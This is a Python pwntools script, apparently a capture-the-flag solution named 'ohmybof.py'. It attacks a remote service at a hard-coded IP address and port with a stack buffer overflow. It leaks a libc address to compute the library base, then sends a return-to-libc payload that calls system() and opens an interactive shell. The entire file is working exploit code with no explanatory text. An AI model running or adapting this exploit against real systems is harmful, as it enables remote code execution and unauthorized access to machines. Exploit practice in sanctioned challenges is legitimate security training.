ohmybof.py

from pwn import *
from hexdump import *

#p = process("./ohmybof")
p = remote("223.194.105.182", 41001)
def main():
	popret = 0x80482ad
	wr = 0x080483E3

	payload = "A" * 24
	payload += p32(wr)

	p.recvuntil("attack: " + "\x00")

	p.send(payload)

	leak = u32(p.recv(4))
	log.info("leak: " + hex(leak))

	base = leak - 0x18637
	log.info("libc base: " + hex(base))

	system = base + 0x3ada0
	cmd = base + 0x15b82b

	p.recv(1024)

	data = 0x0804A010
	pop3ret = 0x8048489

	payload = "\x00" * 24
	payload += p32(system)
	payload += "AAAA"
	payload += p32(cmd)
	p.send(payload)

	p.interactive()

if __name__=='__main__':
	main()